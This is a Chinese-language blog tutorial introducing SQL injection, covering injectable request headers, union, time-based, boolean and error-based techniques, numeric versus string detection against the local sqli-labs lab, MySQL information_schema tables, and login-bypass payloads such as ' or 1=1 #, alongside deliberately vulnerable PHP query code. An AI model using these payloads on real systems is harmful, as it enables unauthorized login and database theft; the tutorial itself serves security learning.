初识SQL注入

初识SQL注入↗

1、SQL注入原理

SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,而网站应用程序未对其进行过滤,将恶意SQL语句带入数据库使恶意SQL语句得以执行,从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。

2、SQL注入危害

➢ 绕过登录验证:使用万能密码登录网站后台等。 如:'or 1=1#

➢ 获取敏感数据:获取网站管理员帐号、密码等。

➢ 文件系统操作:列目录,读取、写入文件等。

➢ 执行系统命令:远程执行命令。

3、可进行SQL注入参数

sql注入漏洞要发生的前提是要有数据与数据库进行查询,所以在对网站测试的不仅仅在id参数等进行测试,比如User-Agent字段,如果每一个客户端在请求网站时服务器都记录了此字段并保存到数据库中,这个过程与数据库有着交互,那么也有可能存在sql注入,数据包请求头任何参数都有可能成为sql注入的点,列举几个参数。

User-Agent:

使得服务器能够识别客户使用的操作系统,游览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或+浏览器版本等存入数据库中)

Cookie:

网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据

X-Forwarded-For:

简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])。

Rerferer:

浏览器向 WEB 服务器表明自己是从哪个页面链接过来的。

Host:

客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号。在拿到一个网站的时候判断其功能点,比如一个网站你发现判定你的ip来让你可不可以登入,说明在数据库存储了ip进行比对,与数据库有着交互,这个时候可以尝试进行xff注入。其他点也可以像这样去判断。

4、SQL注入分类

四大注入

联合注入

1 and union select 1,2,3,4

延时注入

if(left(database(),1)='a',sleep(3),1)

布尔注入

1 and if(left(database(),1)='a',0,1)

报错注入

updatexml(1,concat(0x7e,(查询语法),0x7e),1)

其余注入

⼆次注⼊

堆叠注⼊

排序注⼊

宽字节注入

1、基于注入点位置分类
• GET注入
• POST注入
• Cookie注入
• …… 
2、基于变量数据类型分类
• 字符型注入
• 数字型注入
3、基于获取数据的方法分类
• 基于回显
• 基于错误
• 盲注
	• 布尔型盲注
	• 基于时间盲注 
4、其他类型
• ⼆次注⼊
• 堆叠注⼊
• 排序注⼊

5、SQL注入判断

数字型与字符型

SQL注入按照数据类型分为数字型注入和字符型注入。注入点的数据类型为数字型时为数字型注入,注入点的数据类型为字符型时为字符型注入。

数字型

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row=mysql_fetch_array($result);

-->前端分析
http://127.0.0.1/sqli-labs-master/Less-2/?id=2		正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=2'		报错
http://127.0.0.1/sqli-labs-master/Less-2/?id=2 and 1=1		正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=2 and 1=2		不正常

-->数据库语句
SELECT * FROM users WHERE id=1 LIMIT 0,1
SELECT * FROM users WHERE id=1' LIMIT 0,1		# 输入'
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1		# 输入 and 1=1
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1		# 输入 and 1=2
在 WHERE id=$id 这个SQL语句的子句中,$id 变量没有用单引号或者双引号引起来,而是直接拼接到了后面,这样的注入就是典型的数字型注入。

判断数字型注入的方法如下:
(1)输入单引号,不正常返回。
如果用户提交 index.php?id=1' ,那么后面的SQL语句就变为SELECT * FROM users WHERE id=1' LIMIT 0,1 ,SQL语句本身存在语法错误,会有不正常的结果返回。
(2)输入 and 1=1,正常返回。
如果用户提交 index.php?id=1 and 1=1 ,那么后面的SQL语句就变为 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 ,会有正常的结果返回。
(3)输入and 1=2,不正常返回。
如果用户提交 index.php?id=1 and 1=2 ,那么后面的SQL语句就变为 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 ,会有不正常的结果返回。

数字型注入的注入点主要通过上面3个语句来判断,如果输入的返回结果与上面相符,说明测试语句中的恶意SQL语句被带入数据库中并且成功执行,那么就可能存在数字型注入。具体有没有数字型注入,是否可以通过数字型注入获取有效信息,还需要大量的测试来验证。

字符型

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

-->前端分析
http://127.0.0.1/sqli-labs-master/Less-1/?id=1		正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'		报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and '1'='1		正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and '1'='2		不正常

-->数据库语句
SELECT * FROM users WHERE id='1' LIMIT 0,1
SELECT * FROM users WHERE id='1'' LIMIT 0,1		# 输入'
SELECT * FROM users WHERE id='1' and '1' = '1' LIMIT 0,1		# 输入 ' and '1'='1
SELECT * FROM users WHERE id='1' and '1' = '2' LIMIT 0,1		# 输入 ' and '1'='2
这个示例代码与数字型注人的示例代码基本一致,只是在后面的SQL语句拼接中,$id多了一对单引号,$id是字符型数据,这就是典型的字符型注入。

判断字符型注入的方法如下:
(1)输入单引号,不正常返回。
如果用户提交 index.php?id=1' ,那么后面的SQL语句就变为 SELECT * FROM users WHERE id=1' LIMIT 0,1 ,SQL语句本身存在语法错误,会有不正常的结果返回。
(2)输入 ' and '1'= '1,正常返回。
如果用户提交 index.php?id=l' and '1'='1 ,那么后面的SQL语句就变为 SELECT * FROM users WHERE id='1' and '1' = '1' LIMIT 0,1 ,会有正常的结果返回。
(3)输入'and '1'='2,不正常返回。
如果用户提交 index.php?id=l' and' 1'='2 ,那么后面的SQL语句就变为 SELECT * FROM users WHERE id ='1' and '1' =2' LIMIT 0,1 ,会有不正常的结果返回。

字符型注入的注入点主要通过上面3个语句来判断,如果输入的返回结果与上面相符,说明测试语句中的恶意SQL语句被带入数据库中并且成功执行,那么就可能存在字符型注入。具体有没有字符型注入,是否可以通过字符型注入获取有效信息,还需要大量的测试来验证。

报错与盲注

SQL注入按照服务器返回信息是否显示分为报错注入和盲注。如果在注入的过程中,程序将获取的信息或者报错信息直接显示在页面中,这样的注入为报错注入;如果在注入的过程中,程序不显示任何SQL报错信息,只能通过精心构造SQL语句,根据页面是否正常返回或者返回的时间判断注入的结果,这样的注入为盲注。

报错

image-20230724103822637

盲注

image-20230724103853939

6、MYSQL注入常用表

从MySQL5开始,MySQL自带information_schema数据库,它提供了访问数据库元数据的方式。

在information_schema数据库下,有几个比较重要的表:

schemata表

schemata表存放当前所有数据库信息。常用字段:schema_name(数据库名)

具体而言,"schemata"表中包含了以下字段:

  • CATALOG_NAME: 数据库所属的目录(通常为NULL)
  • SCHEMA_NAME: 数据库的名称
  • DEFAULT_CHARACTER_SET_NAME: 数据库的默认字符集
  • DEFAULT_COLLATION_NAME: 数据库的默认排序规则
  • SQL_PATH: 数据库的SQL路径(通常为NULL)

因此,"schemata表"存储了数据库的元数据信息,可以帮助用户了解当前MySQL实例中有哪些数据库,以及它们的基本信息。

tables表

tables表存放(所有数据库中的) 所有表信息。tables表的字段:table_schema(表所属数据库)、table_name(表名)

columns表

columns表存放(所有数据库中的所有表中的)所有字段。columns表的字段:table_schema(所属数据库名)、table_name(所属表名)、column_name(字段名)

information_schema
	|__ schemata		所有数据库的名字
		|__ schema_name		数据库名
	|__ tab1es		所有表的名字
		|__ table_schema		表所属数据库的名字(!)
		|__ table_name		表的名字(!)
	|__ colurmns		所有字段的名字
		|__ table_schema		字段所属数据库的名字
		|__ table_name		字段所属表的名字
		|__ colun_name		字段的名字

7、SQL注入流程

➢ 判断是什么类型的注入
➢ 根据注入类型构造语句
➢ 获取数据库名
➢ 获取表名
➢ 获取字段名 
➢ 通过数据库名、表名和字段名构造查询语句获取数据

基本的获取数据payload(函数)
• 查询数据库版本 ----> select version();
• 查询数据库名称 ----> select database();
• 查询当前数据库用户名 ----> select user();

8、万能密码

➢ 同一条SQL语句中同时出现 and 和 or ,and 执行的优先级比 or 高

例句:select * from users where username = 'admin' and password = 'admin';

用户名已知

账户名:admin
密码:1' or '1' = '1 
--->
select * from users where username = 'admin' and password = '1' or '1' = '1 ';

用户名未知

# 第一种:
用户名: 1' or '1' or '1
密码:随便输
--->
select * from users where username = '1' or '1' or '1' and password = 'xxx';


# 第二种(使用注释符):
账户名:' or 1 = 1 #
密码:随便输
--->
select * from users where username = '' or 1 = 1 #' and password = 'xxx';

posted @ 2023-12-21 23:39  gcc_com  阅读(37)  评论(0编辑  收藏  举报